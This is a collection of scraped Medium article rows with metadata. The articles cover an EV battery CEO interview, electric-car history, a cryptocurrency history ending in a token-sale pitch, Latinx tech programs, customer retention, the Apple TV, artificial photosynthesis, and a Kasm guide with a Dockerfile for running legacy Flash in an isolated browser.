And Raj, I’ll give you one. The importance of family, the importance of your family. And those that are closest to you is extremely critical. Okay, so many times, you forget that. You forget that the people around you are so important. Okay, so I’ll tell you, I am getting real positive, I’ll tell you a story. Because when I got the call that I would, you know, have the privilege of being the chief executive officer on Romeo Power. My wife gave me a hug. And she said, congratulations, you did it. I said, No, we did it. And I meant that we did it. Because we’re so aligned, of course, we don’t agree on everything, but we’re so aligned in what we’re trying to do, and how we’re trying to plan and the legacy that we want to leave. That’s extremely, extremely critical. So I learned that you have to take your family and those around you very, very important. Okay, so our mantra and I guess I’m giving it to the wall, is faith, family and rocket ships in that order. In that order, and that really is what I learned that mid correct. But that’s how we look at things.
Host Raj Daniels 34:26
You know, everything you just said segues beautifully into my last question. You mentioned resiliency, you mentioned being adaptable. You mentioned your faith, family and rocket ships. But if there’s some specific words of advice, it could be personal or professional that you can share with the audience. What would it be?
Lionel Selwood, Jr. 34:44
Go beyond. Go beyond your title. First, do your job really well. Really, really well. But go beyond it. It is not enough to say that’s not my job. If that’s not my job, at a minimum, your job is to connect with the person whose job it is if you truly feel that way, and come to a common ground, how you move forward, collectively, that’s one.
The second is the importance of respect and team. You need to be able to talk. You’re not above anyone. So one thing that we have in our companies from on the floor, not on travel, anyone in the company and can either email me text me or call me, or give me some tough feedback. And that’s just the culture we have. Right? So humility, we’re all human. Some has more accountability than others. But keeping an open door in terms of that is extremely critical. Respect, right, just because somebody is a janitor does not mean you shouldn’t build relationship with them, make sure they understand where we’re going. And two, they can give you feedback, and you can learn. Okay, so that’s, that’s really, really incredible.
I’ll give you a couple more. Knowing what you don’t want, maybe as important as knowing what you want. Okay, so look in the mirror and try to figure out who you are, who you want to be, where you want to go. I encourage the viewers and my colleagues, my family, my friends, trying to downselect where you don’t want to go is extremely important. And the last one, I’ll say is, in this data, social media-driven world, do not let that derail you from what you’re doing. So Apple, as you know, has the screen, the screen tally of how much hours you’re spending, make sure it’s tailored towards learning, and not towards an unrealistic competition against autos, especially if you don’t know the details behind someone’s journey. Okay, so those are that’s the advice I will give a last but not least, I would see your family again, my support system is extremely critical to what I do what we do, anywhere from my son to my wife, to my friends, right? It’s very critical, my family. So make sure you’re surrounding yourself with the right people. Make sure it’s mutual, you never go into things tit for tat, you’re going to genuinely get to know people and develop together. And that’s what I would say, Lionel, I
Host Raj Daniels 37:30
think that’s a beautiful place to end off. Is there anything else you’d like to share before we go?
Lionel Selwood, Jr. 37:36
Sure, one more thing again, Romeo power, really advancing energy technology, vision, and energy poverty, we really on the leading edge of ensuring green energy accessibility to everyone. I like to make sure that people know we are the nucleus of electrification, we design the under battery pack to ensure our end customers have the most compelling product, what is on the road, in the air, on the ground, or at sea. | https://medium.com/bigger-than-us/bigger-than-us-116-charging-the-electrification-decade-bbf0ce34b3d3 | ['Nexus Pmg'] | 2020-11-20 19:38:23.530000+00:00 | ['Sustainability', 'Energy', 'Electric Car', 'Technology', 'Electricity'] |
2,265 | The First Electric Car Was Invented Almost 200 Years Ago | The First Electric Car Was Invented Almost 200 Years Ago
A few electric taxis in New York, 1906 (Source: Rare Historical Photos)
We all see this new revolution in the automobile industry as the best innovation brought in this technological revolution of the 21st century without thinking that this isn’t actually an innovation, but something that wasn’t required many years ago when it was first developed. With the appearance of electrical motors, most machinery was automated by such motors, and also the first automobiles. Now, I know that most of you are thinking that the first official launch of an automobile was in 1886 by Carl Benz, but this does not mean that there haven’t been many unofficial launches or prototypes.
The decline of our ecosystem has brought us up to this point of needing to look after our Earth, therefore using electric cars is seen as the greenest way to travel. Many people think that this predicament in which we find ourselves as humans is what brought us to the innovation of Tesla cars or other electric car brands. However, this “innovation” was brought to us many years ago, but due to its inefficiency at the time for reasons such as primitive technology and gas being a more powerful solution, it was never implemented into the automobile market.
The first electric car
Anyos Istvan Jedlik (Source: Wikimedia Commons)
The first electric automobile and possibly the first automobile was invented by Anyos Istvan Jedlik, a Hungarian inventor and engineer who was very much interested in the power of electricity and it’s potential to make life easier. He was one of the first people to invent a very primitive, yet functioning electric motor in 1827, however, he never had a specific use for it. He just wanted to build a motor that could produce power, however, he soon thought of using the power output from the motor to power a carriage.
Therefore in 1828, he invented a very primitive version of the electric car that only had a stick for steering. The invention was great but never brought much attention to the public as the motor wasn’t producing a significant amount of power for the automobile to catch a record-breaking speed (for that period of time). Most horses were still able to outrun the vehicle and the automobile itself had many flaws. The idea is that the main concept was achieved almost 200 years ago.
The concept was still picked up by many inventors and engineers throughout history. In 1884, Thomas Parker had the same concept, but a slightly different idea. He saw the need for public transport as society was evolving and decided to use a more refined electric motor that could power a big box filled up with seats for passengers. These became the pillars for metro transportation, later on being applied at the start of the 20th century in Great Britain.
Evolution of antique electric cars
Not long after that, a private taxi company was started in 1897 that used only electric cabs in order to give their clients a better ride with less noise as well as without the smell of burned gas. The company was soon wiped by the competition as gas was much cheaper than electricity at the time.
Another great example would be the Porsche P1 that also functioned only on electricity, the car was invented by Ferdinand Porsche and Ludwig Lohner in 1898. This was an electric vehicle that weighed over 500 kg (1,100 pounds)and was able to travel on a full battery 80 km (50 miles) at a top speed of 34 km/h (21 mph). Quite fast for the time.
Charging station for Ford electric cars in 1913 (Source: Rare Historical Photos)
What is even more interesting is that Henry Ford actually worked with Thomas Edison to produce a low-cost electric car like the one presented by Porche. During 1913 and 1914 they produced 1,000 electric cars that were similar to the Ford Model T produced in 1908, but with an electric engine. These cars were able to go around 60 km (37 miles) on a full battery, however cold weather made the batteries lose power much quicker, therefore making them obsolete to a gas or steam car. | https://historyofyesterday.com/the-first-electric-car-was-invented-almost-200-years-ago-7877685bd7ee | ['Andrei Tapalaga'] | 2020-12-19 21:03:36.852000+00:00 | ['Marketing', 'Technology', 'Brands', 'History', 'Cars'] |
2,266 | Cryptocurrency: The Rise of Decentralized Money | Today cryptocurrencies are a global phenomenon known to most people. They hear about the volatility and unpredictability of the crypto market and see the fortunes being made or lost as something which is either exciting, frightening or confusing. They may regret they didn’t invest in Bitcoin 5 years ago, or they may try to latch on to what they think is going to be the next big thing. However, beyond all the media noise most people do not really understand most of the basic concepts.
Today, there are over 1,600 different Cryptocurrencies
The Birth of Cryptocurrency
Bitcoin, the first cryptocurrency came about in late 2008 as a side product of digital cash. Inventor Satoshi Nakamoto wanted to develop an alternative to failed “trusted” third party systems of payment like Digicash. The problem with these systems was that they were based on a payment network which was usually based around a central server that kept records of balances.
Satoshi wanted to create a system of digital cash without a central entity. Rather than a centralized entity to keep records of all transactions within the network, this decentralized network worked similarly to a peer-to-peer network for file sharing. Every peer in the network keeps a permanent record of all transactions, so that future transactions can be verified.
The problem with a decentralized network arises if any peer in the network disagrees on any minor balance. If they do, everything is broken. It was thought that a decentralized network would be unworkable without a central authority to achieve consensus in such a situation.
Satoshi Nakamoto’s major innovation was to solve this puzzle of how a decentralized network could operate without such a central authority. On January 9, 2009, Bitcoin was announced and the concept of cryptocurrency was born.
A Brief Cryptocurrency Timeline
1,500 BTC worth of Pizza
2010 — In 2010 Bitcoin was valued for the first time. As it had never been traded, it was impossible to assign a monetary value to the crypto currency. In the first ever Bitcoin transaction, a programmer from Florida bought 2 pizzas for 10,000 BTC. At today’s prices these pizzas would be worth more than $100 million.
2011 — As Bitcoin’s popularity increased and alternative currencies started to appear, with Namecoin and Litecoin being amongst the first. Each newcomer attempted to improve on the original Bitcoin in various ways, such as greater speed or anonymity.
2013 — Up until 2013, Bitcoin had continued to increase in value. Virgin Galactic announced that it would accept Bitcoin for space travel and Ripple was launched. The value of Bitcoin reached $1,000 for the first time, but soon after suddenly lost value, dropping to around $300. It wouldn’t be until 2015 that it would reach $1,000 again.
2014 — The world’s largest Bitcoin exchange Mt. Gox went offline and with it 850,000 Bitcoins. Due to Bitcoin’s anonymity and lack of control, these coins were never traced and criminals got away with Bitcoins valued at the time at $450 million.
Since it began, Bitcoin has been used as a way to conduct illegal business, including selling drugs, online. In 2014, 29,000 Bitcoins were seized from the illegal drug trade and auctioned off.
2015 — Ethereum “Genesis” Blockchain was launched, which unlocked a new functionality for blockchains — smart contracts and apps. Mainstream investors and financial groups began to embrace blockchain technology. Wall Street and NASDAQ’s investment in blockchain signalled enterprise level recognition of the technology.
2016 — Initial Coin Offerings (ICOs) emerged as a fundraising mechanism for start-ups. In some ways similar to stocks and shares, ICOs offer investors the opportunity to invest in new ventures. Governments became worried about the unregulated status of ICOs. In the US, the SEC warned investors that ICOs could easily be scams or ponzi schemes. The Chinese government banned them altogether.
2017 — In 2017, the cryptocurrency market experienced the Bitcoin boom. The number of places where Bitcoin could be spent increased and more and more money flowed into the cryptocurrency ecosystem. During 2017, the market cap of all cryptocurrencies rose from £11bn to £300bn. Major banks looked into how to begin working with crypto seemingly accepting that cryptocurrency was here to stay as “legitimate currency”. December 2018 saw Bitcoin more than double in value and reach an all time high of $19,783 on December 17. By the end of 2017 there were well over 1,000 cryptocurrencies available to buy and trade.
Cryptocurrency in 2018
The start of 2018 saw a big correction in the market and cryptocurrency values dropped significantly. In January alone Bitcoin lost 40% of it’s value and many investors who had got caught up in the media hype at the end of 2017 lost a lot of money. However, the hype has since cooled down and values are now around pre-Dec 2017 prices.
The volatility and reactive nature of the market looks set to continue. At the time of writing, the value of Bitcoin has just dropped from over $10,000 to around $8,000 following the announcement by Google to ban crypto-related ads.
However, according to Jeet Singh, speaking at the World Economic Forum in Davos, such volatility is nothing to be concerned about. He argues that, due to their novelty, it is normal for cryptocurrencies to fluctuate by 70% to 80% and suggested that Bitcoin would reach $50,000 this year.
Other predictions as to the future prices of cryptocurrency are mixed, but mostly optimistic. In his book, How to be the Start Up Hero, published last month, Tim Draper discusses reasons why Bitcoin will hit $250,000 by 2022; John McAfee, founder of McAfee antivirus predicts Bitcoin will reach £1 million by 2020. On the other hand, in February, Goldman Sachs predicted that most cryptocurrencies are likely to fail with their value falling to zero.
(In fact, Goldman Sachs actually launched their own “cryptocurrency” — quotation marks my own — a few days ago. As its value is tied to the value of the dollar, purists would argue it is not a true cryptocurrency)
The Future of Financial Transactions?
One thing for sure is that blockchain technology is reshaping the Fintech industry. Its unique decentralized architecture, which records transactions on an immutable public ledger, offers solutions for many industry problems. Blockchain has the potential to universally change the way industry transacts across nearly every industry in the global economy.
EIPlatform and the EMI Token Sale
EIP (Esports Interactive Platform) are developing a global platform which has the potential to revolutionize the Esports industry. The platform is based around a decentralized network which will allow all participants within the esports ecosystem to interact and conduct transactions with each other directly. All transactions will be made using the new EMI cryptocurrency.
An Overview of EIPlatform
Phase 1 of the Pre-Sale Phase of the EMI Token began a few days ago and will run until May 23. During this time, an additional 25% bonus tokens are being offered.
The base price of the EMI token is 10 EMI for $1
The goal of EIPlatform and EMI is to benefit all parties involved in the Esports industry at all levels, including: brands and advertisers; events, teams, players and content providers; fans and audiences. The EIP team have extensive knowledge and experience in the worlds of both esports and cryptocurrency, and have the skills and determination to bring the project to fruition.
We believe that the EMI token sale represents a tremendous opportunity for companies and individuals to invest in the rapidly growing world of esports.
The global esports market is predicted to grow to $905.6m in 2018 and $1.65bn by 2021. EIPlatform fully intends to be an integral part of that market and to help shape the future of esports.
You can find out more about Esports Interactive Platform, including the whitepaper and project roadmap at the official website.
Please feel free to contact us with any queries via the website chat or through our telegram channel. | https://medium.com/eiplatform/cryptocurrency-the-rise-of-decentralized-money-5fb98299a2ff | [] | 2018-05-25 13:14:57.017000+00:00 | ['Emi Token', 'Cryptocurrency', 'Eiplatform', 'Bitcoin', 'Blockchain Technology'] |
2,267 | Why I’m ALL IN for our Latinx community | Me at 6 when I immigrated and my present self in 2018.
The first time I stepped into the US was when I was 6 years old. Little did I know what opportunities traveling 5000+ miles from Bolivia to California would bring into my life.
This past month, seeing and hearing how heartlessly immigrant Latinx children are separated from their families in search for the same opportunities I got, haunt me. I could have easily been one of those 2000+ kids feeling the unbearable if it were not for a piece of paper via a green card lottery.
However instead of giving in to the pain and trauma we have been witnessing, I personally and professionally made a commitment to help the Latinx talent in the U.S. in the best way I can — creating opportunities to build a thriving future as key drivers of this country’s future. Through my work at the Kapor Center, I aim to create generational opportunities into the fastest growing, most economic upward mobile sector known as tech…but on our own terms. After all, Latinx are the most multicultural and fastest growing demographic in the U.S. , described as “super mobile, super consumers”. So we have to remember that tech needs us to continue to be relevant. Not the other way around. It’s time for us to create and own our narrative with empowerment and in volume.
In my two years so far at the Kapor Center as the Chief Technology Community Officer, we started creating new narratives with our local community. Alongside Carolina Huaranca, Principal at Kapor Capital, we prototyped and validated ways to educate and empower our local Latinx community to go beyond seeing themselves as consumers of tech but rather see themselves as the creators of purposeful tech. In 2016, we hosted the first ever Techstars Startup Weekend Latinx in Tech edition in Oakland that reached 80+ Latinx community members. In 2017 we scaled to 4 cities with passionate local Latinx leaders and reached 300+.
Startup Weekend Latinx in Tech Editions in Oakland, LA, Chicago, New York in 2017.
In 2018, we’re going to 9 cities with the goal to mobilize 900+. But we are not stopping there. We will also host the first Latinx in Tech (LTX) Summit that will bring together 300 community members from the 9 cities as well as serve as a homecoming for the talent that attended our first events. A key learning from the past two years, especially from the last year, was that activating communities can be temporary if the right nodes of networks of networks are not interconnected. This year we are connecting the public/private nodes of nodes in an inclusive tech ecosystem approach by working across sectors — starting by cultivating and investing in local Latinx community leadership.
To enable more direct systems change, at the beginning of this year we hired our first Latinx in Tech Program Manager, Josh Torres, who has worked in early stage tech startups such as Square and Asana. As a queer identified Puerto Rican, Josh understands the importance of intersectional, multicultural representation of our Latinx community in this sector from his own lived journey. Josh, Carolina, and myself alongside the entire Kapor Center team aim to not only help activate ecosystems but also create playbooks so that these efforts and learnings can be shared. Ultimately we want the local community leaders to own these playbooks and pay it forward to drive the change they want to see in their communities with support across regions and nationwide.
Our goal through LTX is not only to demystify pathways into tech careers but to also create pathways into tech entrepreneurship and venture capital — areas where the Latinx representation is statistically not even measurable. Of the 52 Million Latinx in the U.S., less than 3% are in high tech/emerging tech fields. We are going after the unrealized 97% opportunity to have the U.S. based Latinx talent go beyond being the consumers of tech but also be the owners, investors, and inventors.
The past month, the past year has shown us that there is no time like now for those with opportunities like myself to pay it forward across sectors with a clear call to action. The need for a national cross sector collaboration and tech strategy was evident at this year’s UnidosUS Conference. Very poigntaly, Maria Teresa Kumar, CEO & President of Voto Latino, shared that we need to “stop resisting. We need to start occupying public office, start occupying boardrooms” as a community. I’d add that we also need to start occupying tech, tech entrepreneurship, and venture capital like never before.
If you are ready to own and share your LTX narrative, join us at Startup Weekends Latinx in Tech in your city starting Mid Sept — Mid Oct AND join us in Oakland on Nov 1–2. To stay informed of announcements, join our mailing list. | https://medium.com/kapor-the-bridge/why-im-all-in-for-our-latinx-community-b1a4a30dfd08 | ['Lili Gangas'] | 2018-07-24 07:14:41.641000+00:00 | ['Entrepreneurship', 'Latinx', 'Venture Capital', 'Community', 'Technology'] |
2,268 | How to create a post-sales customer experience to retain customers | It costs five times as much to acquire a new customer than to keep an existing one. And whether or not a customer retains and decides to shop with your brand again is determined by the quality of post-sale service.
The post-sales or after-sales experience is crucial to ensuring customers come back. It’s not enough to focus your marketing efforts just on getting the customer to purchase but getting them to go through a cycle that encourages them to interact with you again.
How can you create a great post-sales experience?
Communicate
It is important to communicate with your customers after they have purchased with you. Make sure you keep your customers in the loop with the latest updates regarding their order delivery, product specifications, services offered. It does not have to be overly complicated.
An effective post-sales experience could be as simple as letting your customers know when their order is expected to be delivered.
Email should be the most preferred medium of communication as 80% of retail professionals said email drives retention, to improve your post-sales experience, you should look into the different emails you could send.
Struggling to get email ids of your end customers to click here to know how you can get customer data of your end customers.
Cross-sell
In a market full of options, customers like suggestions, especially when they are not very salesy. Personalize your communications to show your existing customers similar products you offer or products they would need with their existing purchase.
Manage refunds and returns
Reduce post-purchase anxiety by ensuring your customer is fully aware of your refund policy and returns process. Being transparent will build trust with your customer as it shows your brand isn’t all about sales and that you understand your customers’ needs.
Make sure you have a clear returns and refund policy in place and a helpful customer support team.
Manage warranties
A well-executed warranty process reinforces customer faith in your brand because they feel taken care of even after the purchase. Customers often have to go through the hassle of finding old purchase bills and going through endless calls with your client servicing teams to access some essential post-sales services like warranty claims and product replacement. Leading to an overall bad customer experience and leaving the customer dissatisfied with your brand.
NeuroWarranty’s digital warranty solution allows your customers to claim a warranty with just a few clicks, avoiding the hassle of finding old purchase bills and going through endless calls with your customer service teams. This creates an unparalleled customer experience and results in customer satisfaction.
Acknowledge feedback and reviews
When a business replies to at least 25% of their online customer reviews, on average, they earn 35% more revenue, says Womply. Acknowledging customer feedback and solving customer complaints is of paramount importance. Because in doing so, you are letting them know that their opinion matters, their complaints are being resolved and that your business will adapt to their changing needs.
SproutSocial research shows 47% of people use social media to complain about a business. While social media is an effective tool for you to connect with your customers, negative reviews and customer complaints on social media tend to hurt your brand image online, and as a result, discourage other people from being your customers, thus impacting your revenues.
While buying separate CRM tools can be expensive and difficult to manage, you can save tons of money spent on buying additional CRM tools. The NeuroWarranty Inbuilt CRM allows you to make your customer service highly efficient with minimum human intervention in addition to optimizing your warranty management. | https://medium.com/@riyaasachdeva/how-to-create-a-post-sales-customer-experience-to-retain-customers-5821bb1f5504 | ['Riya Sachdeva'] | 2021-12-14 12:51:58.604000+00:00 | ['CRM', 'Technology', 'Software', 'Crm Software', 'Customer Experience'] |
2,269 | Please where can I see free #science conferences or events. I’m not just a scientist but I strongly believe that impossibility is nothing. If we don’t enhance our thinking, nothing much will happen… | Please where can I see free #science conferences or events. I’m not just a scientist but I strongly believe that impossibility is nothing. If we don’t enhance our thinking, nothing much will happen in this #world 🌎 | https://medium.com/@chybike234/please-where-can-i-see-free-science-conferences-or-events-179c69444253 | ['Chibuike Michael Anueyiagu'] | 2020-12-19 20:20:21.814000+00:00 | ['Antigravity', 'Climate Change', 'Physics', 'Technology', 'Science'] |
2,270 | Jason Snell: Why does the Apple TV still exist? | Jason Snell: Why does the Apple TV still exist?
A long-time Apple columnist weighs the reasons for the Apple TVs continued existence, contemplates a future without it, and speculates on where Apple might take it next. John Sherrod Feb 12·3 min read
Jason Snell, writing at Six Colors:
I use the Apple TV every day. It’s attached to my living room TV. And while I’ve complained about how little Apple seems to be focused on updating and improving the device, I’d never seriously considered that the Apple TV box as we’ve come to know it might not be long for this world. But after listening to a discussion of the issue on the February 8 episode of John Gruber and Ben Thompson’s podcast Dithering and spending a weekend away at a friend’s vacation rental house, I think I’ve changed my mind. I don’t know where the Apple TV hardware is going, but it can’t stand still. It either needs to evolve into something else, or die. And it might need to die anyway.
Snell’s piece is worth your time, particularly if you’re a big fan of Apple’s little black box like I am. I’ve long said that the Apple TV’s biggest competition isn’t other streaming boxes from Roku, Amazon, and others. It’s the smart TV in your living room. And as Snell points out Apple has helped the competition by bringing the Apple TV app and AirPlay to big-brand smart TVs. In light of that he lists several reasons why you might still choose to buy an Apple TV. In addition to his list I’d add three others:
Add Smarts to Old TVs
While you may well have a smart TV from Samsung or LG that has built-in AirPlay and Apple TV, chances are most of you reading this have one or more older non-smart TVs in your house. Or you at least have a smart TV that is too old to have these features from Apple. (Mostly limited to 2018 and newer TVs.) An Apple TV is an inexpensive way to add an app platform to your older TV as long as your TV has an HDMI input.
Keep Your Smart TV Smart
Historically, TV manufacturers give you a limited window in which they’ll provide you with meaningful software updates. Part of this is probably due to the fact that they put cheap hardware in them. But Apple will give you new tvOS updates every year and your tvOS apps will receive regular updates, regardless of what TV they’re plugged into.
Education and Enterprise
Because Apple TVs are a relatively inexpensive way to get screen sharing into a classroom or conference room, they’re commonly found in school and business settings. And you can use MDM software to manage a fleet of Apple TVs all from a single computer.
Like Snell, I do think it’s possible that Apple will finally tire of its “hobby” and discontinue the Apple TV. Though like him I think that’s unlikely. Snell speculates that Apple might beef up the Apple TV in the direction of a gaming console and I’ve written about what I’d like to see Apple do to take that very step. Regardless, the Apple TV is way past due for a hardware update, and I hope we get some big Apple TV news from Apple in 2021.
See also: Two ways Apple can improve the Apple TV experience | https://johnsherrod.net/jason-snell-why-does-the-apple-tv-still-exist-1a729187f7da | ['John Sherrod'] | 2021-02-12 03:02:36.240000+00:00 | ['TV', 'Apple TV', 'Apple', 'Technology', 'Tech'] |
2,271 | It’s Like a Leaf, But Better | The field of chemistry has already had prior success in engineering artificial photosynthetic systems that can be used in tandem with carbon capture technology to turn carbon dioxide into usable fuels.
The first photosynthetic biohybrid system was produced in 2015. The system developed at UC Berkeley used semiconductors and live bacteria to produce a photosynthetic reaction that would use solar energy to produce liquid fuels using carbon dioxide and water. At the time, it was predicted that if the technology improved, it may become the future of energy. The process involves catalysts harvesting solar energy to generate charge which is then transferred to bacteria. The bacteria use the electric charge from the catalysts to instigate a chemical reduction reaction that turns carbon dioxide into liquid fuel. Butanol, acetate, polymers, and pharmaceutical precursors were produced as a result of this experiment. Furthermore, it was found that this first artificial photosynthetic system had a solar-to-chemical conversion efficiency of 0.38%, which is comparable to the efficiency of a natural leaf.
The innovation didn’t stop there though.
A year later at McGill University in Montreal, Canada, the chemical transformation of carbon dioxide into fuels was achieved using metal-nitride nanowires as a catalyst to overcome the eventual efficiency bottleneck that can occur when using conventional photocatalytic technologies. While the typical conversion process of carbon dioxide into fuel requires high temperatures, high pressures, and/or extremely reactive reagents, the metal-nitride nanowire photocatalyst developed allows the process to be completed more stably and efficiently, while also occurring at room temperature. The result: solar fuels generated using an efficient artificial photosynthetic system that can be used to pull carbon dioxide out of the atmosphere, bringing society closer to a net-zero future.
UC Berkeley and McGill University aren’t alone in developing this groundbreaking technology. Just a few years later, another breakthrough came in the world of artificial photosynthetic systems.
In a 2019 report published in the American Chemical Society journal of Sustainable Chemistry and Engineering, the solar-to-fuel efficiency of an artificial photosynthetic (AP) system was evaluated. The study looked directly at how the AP system can capture carbon dioxide directly from the atmosphere and can then convert it into fuel using sunlight. The report concludes that a modern, fully integrated AP system could reduce the carbon dioxide levels in the surrounding air by 10% during steady-state operation, which makes it fourteen times more efficient than natural leaves.
This report was analyzing a study conducted by the Department of Chemical Engineering from the University of Illinois, who had successfully produced fuels using water, visible light, and carbon dioxide using artificial photosynthesis. Scientists conducting the study developed an artificial photosynthesis process that used the same visible green light portion of the electromagnetic spectrum used by plants during natural photosynthesis to convert carbon dioxide and water into fuel. The process used a plasmonic excitation of gold nanoparticles (used as a catalyst) to produce a rich, electrically-charged environment at the gold particle-carbon dioxide solution interface which is conducive to carbon dioxide activation. From there, an ionic liquid stabilizes the charged intermediates that formed on the surface of the interface which begins to facilitate a multi-step chemical reduction reaction coupled with carbon coupling. Multi-carbon chains can be produced, resulting in the formation of methane, ethylene, acetylene, propane, and propene.
The University of Illinois chemists who conducted the study wanted to focus on creating liquid fuels because they are easier, safer, and more economical to store and transport than regular gasoline. Furthermore, liquid fuels are comprised of long-chain molecules containing more bonds than regular gasoline, giving them a higher energy density. While the goal of the study was to learn how to use catalysts to increase the efficiency of the chemical reactions undergone during the carbon dioxide-to-fuel conversion experiment, the chemists of the study agree that the hard work will begin when they start determining how they can scale up the process. | https://medium.com/predict/its-like-a-leaf-but-better-717689f7d1b7 | ['Madison Hunter'] | 2020-12-07 03:51:23.186000+00:00 | ['Climate Change', 'Sustainability', 'Technology', 'Environment', 'Future'] |
2,272 | History is begin here! | Photo by Alexis Antoine on Unsplash
Hello everyone! I just create one profile in this website for post my experience about my life as developer. I will write about the challenges face learning new technologies and improving my skills for become a great developer in future.
Here will be the place where i am going to practice my english too. I’m not very very good now, but is the way who i found for improve and studding a lot about a new language.
I’m junior developer so far, but i believe that i can turn senior one and help peoples to join us in this universe!
I will wrote articles in portuguese and english! Currently, i work using Javascript focusing in Front End, but i can work in Backend as well. I like React, Bootstrap, Node.JS and MongoDB. You can find my in my Github and Twitter.
See you later :) | https://medium.com/@oliverigor27/history-is-begin-here-fefad4acc701 | ['Igor Oliveira'] | 2020-12-20 04:18:32.164000+00:00 | ['Introduction', 'Life', 'Work', 'Technology', 'Developer'] |
2,273 | Supporting Legacy Flash Applications Through Kasm Browser Isolation | We have reached the end of the road for Adobe Flash. As described in 2017, Adobe will be ending support and updates for Flash December 31st, 2020. While once a dominant technology in the delivery of web content, flash has been replaced by native industry standard browsing technology such as HTML5, WebGL and WebAssembly.
In addition to ending support for the technology, Adobe is working with technology partners to coordinate an end-of-life: Google, Microsoft, Mozilla, Apple, & Facebook.
This means that your OS…and more specifically, your web browser, will stop supporting flash playback soon (Or already has). As with most things in life, there are good things and bad things about this transition:
Good News:
Increased security and performance in modern browsing technology
Most content providers and applications have already transitioned
Bad News:
Some legacy applications for specialized activities have yet to be re-written and will only be accessible via flash.
Some content providers, such as vintage games and animations may not transition.
Knowing that there will still be a need, at least temporarily, for support for flash content, Kasm Technologies has developed a work-around for accessing legacy flash technology from a modern browser in a secure and reliable way.
Kasm uses our browser isolation technology to redirect a user’s browsing session to a cloud-hosted disposable web browser…and then displays the browsing session natively in browser via a video feed. Thus, the user is able to interact with the flash enabled website while keeping their native browser isolated from the insecure flash content, accessing only an interactive video stream of the disposable browser.
Kasm Browser Isolation
But don’t take our word for it…try it out for yourself by signing up for a free account. Within our Kasm Disposables Software-as-a-Service offering we have a legacy instance of Google Chrome (v87) with flash supported that will continue to operate into 2021 and beyond.
Kasm Application
Initiate a session with this Kasm Chrome — Flash browser and visit https://helpx.adobe.com/flash-player.html or https://homestarrunner.com to see firsthand that Flash support lives on…and in a secure way.
The flash test page running inside a Kasm Session
A popular flash cartoon homestarrunner.com …running inside a Kasm Session
Serving a custom Flash application with Kasm Server
For those corporations that may still have some Flash applications that will need to be supported while they transition to new web technologies, Kasm Server is able to provide a secure web gateway service to allow them to continue to be used without having an insecure browser on the endpoints. This is accomplished by redirecting whitelisted web browsing sessions destined to the Flash web applications to a headless Kasm Browser that delivers the web interaction through browser isolation.
Kasm has a strong desire for our technology to contribute to the cybersecurity community and be used for good. Thus, our Kasm Server Community Edition provides free browser isolation and VDI capabilities for up to 5 concurrent sessions for home or non-profit users. This can be downloaded directly without any sign-up.
Installing Kasm Server
Kasm server can be installed on several popular installation of Linux. Installation instructions are documented on the Kasm website. Once installed, continue to the next sections.
Kasm Flash Images
One of the powerful components of the Kasm ecosystem is that administrators can create custom Images with the software and configurations of their choice.
The team has published kasmweb/chrome-flash and kasmweb/firefox-flash images on Dockerhub. These images have flash pre-installed and configure for convenience.
While Kasm flash images can be used without modification, these steps will demonstration how to configure flash to auto-run for a particular website without the need to user intervention.
When creating a custom image, we will start from the pre-built kasmweb/chrome-flash:1.8.0 image. The only customization that needs to occur is setting a Chrome policy to autorun the flash plugin, for the desired websites. See Chrome Documentation for more details.
Note: The detailed process for creating general custom application and desktop Images, including a Git repo, can be referenced here.
Creating a custom image
SSH into the Kasm Server.
Create a file named Dockerfile with the following contents:
FROM kasmweb/chrome-flash:1.8.0 USER root
ENV HOME /home/kasm-default-profile
ENV STARTUPDIR /dockerstartup
ENV INST_SCRIPTS $STARTUPDIR/install
WORKDIR $HOME ######### Customize Container Here ########### # Add a chrome policy to autoplay whitelisted sites. RUN echo '{"DefaultPluginsSetting":1, "PluginsAllowedForUrls":["https://helpx.adobe.com", "https://homestarrunner.com"] }' > /etc/opt/chrome/policies/managed/flash.json RUN mkdir -p $HOME/.config/google-chrome/Default/Pepper\ Data/Shockwave\ Flash/System/ # Edit the flash player config (mms.cfg) to whitelist approved sites. Otherwise the plugin will not load RUN echo 'AllowListUrlPattern=https://helpx.adobe.com/' >> $HOME/.config/google-chrome/Default/Pepper\ Data/Shockwave\ Flash/System/mms.cfg RUN echo 'AllowListUrlPattern=https://homestarrunner.com/' >> $HOME/.config/google-chrome/Default/Pepper\ Data/Shockwave\ Flash/System/mms.cfg RUN chown -R 1000:1000 $HOME/.config/google-chrome ######### End Customizations ########### RUN chown 1000:0 $HOME
RUN $STARTUPDIR/set_user_permission.sh $HOME
ENV HOME /home/kasm-user
WORKDIR $HOME
RUN mkdir -p $HOME && chown -R 1000:0 $HOME
USER 1000
Build the image with the following command:
sudo docker build -t my-flash-app:latest -f Dockerfile .
Log into the Kasm Server UI as an administrator.
Select Images , then click Edit (pencil) next to the Kasm Chrome Image.
, then click next to the Image. Update the following settings:
Name: my-flash-app:latest Friendly Name: My Flash App Docker Registry: <empty> Docker Run Config Override: {"environment":{"LAUNCH_URL":"https://helpx.adobe.com/flash-player.html"}}
Update Image
Update Image
Click Submit .
. Select Kasm from the left-hand menu then launch the My Flash App Image.
Create a Kasm Instance
The web application running in Chrome is displayed.
Web Filtering
Kasm includes a Web Filter that can be used to restrict traffic to only the desired site. This is highly recommended when utilizing the image with Flash enabled.
Log into the Kasm Server UI as an administrator.
Select Web Filtering.
Create a new Web Filter Policy with the following settings:
Name: Flash App Policy Deny By Default: Checked Domain Whitelist: helpx.adobe.com
homestarrunner.com
Click Submit.
Select Groups.
Select View (eye) next to the All Users Group.
next to the Group. Select Add Settings.
Add a Group Setting
Select web_filter_policy from the drop down and select Flash App Policy previously created.
Assign the Web Filter Policy
Select Add. The policy is now assigned.
Web Filter Policy Assigned
Select Kasm on the left-hand menu. Click Create n ext the My Flash App Image to create a new session.
on the left-hand menu. Click ext the Image to create a new session. From inside the session attempt to navigate to another website (e.g google.com). The request is denied. | https://medium.com/@justin_61605/supporting-legacy-flash-applications-through-kasm-browser-isolation-6f93a3a59b3a | ['Justin Travis'] | 2020-12-29 14:50:26.757000+00:00 | ['Information Technology', 'Application Security', 'Information Security', 'Software Development', 'Flash'] |
2,274 | We’re Going Less-Cash, Not Cashless | For many of us, paying with a debit or credit card is no big deal. Coffee? Swipe it. Supermarket? Swipe it. Bus? Whatever you want, all you have to do is swipe it! Paying with cards is easy, safe and it allows us to move around the city without those bulky wallets full of cash in our back pockets. But how close are we really from a ‘cashless society’?
